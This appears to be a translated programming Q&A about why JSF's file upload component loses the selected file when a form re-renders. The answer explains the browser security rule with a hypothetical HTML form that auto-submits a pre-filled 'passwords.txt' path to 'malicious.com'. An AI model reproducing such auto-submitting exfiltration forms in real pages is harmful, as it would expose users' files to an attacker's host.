UIComponent的访问值绑定

时间:2011-07-14 07:44:58

标签: jsf file-upload binding jsf-2 uicomponents

我使用<t:inputFileUpload>来上传应用程序中的文件。选定的文件(表示为UploadedFile对象)仅在表单提交时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定无效,用户必须使用<t:inputFileUpload>重新选择文件。

当然,这不是非常人性化。即使没有提交,<t:inputFileUpload>也会抛出一个ValueChangedEvent,我要注册一个事件处理程序,将新值(即上传的文件)复制到值绑定中(即支持的成员)豆)。由于我想允许上传多个文件,我有一个UploadedFile对象数组作为值绑定,在JSF中引用如下:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

现在我想做这样的事情:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

这样的事情可能吗?我还没有理解如何调用ValueBinding getValueBinding(String)来实现它,就像我想要的那样。

1 个答案:

答案 0 :(得分:2)

  

用户必须使用<t:inputFileUpload>重新选择文件。

这不是JSF限制。这是HTML限制。 <t:inputFileUpload>组件呈现HTML <input type="file">字段。能够预填/保留这样的字段是一个巨大的安全漏洞,并且在HTML中是不允许的。

要更好地理解安全漏洞,请查看以下简单的HTML示例:

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>

如果支持并且打开了具有上述表单的网页,则passwords.txt将被发送到服务器而无需任何用户干预!

如果在HTML中无法实现某些功能,那么JSF已经无法为您做很多事情(因为它基本上只是在生成一些HTML)。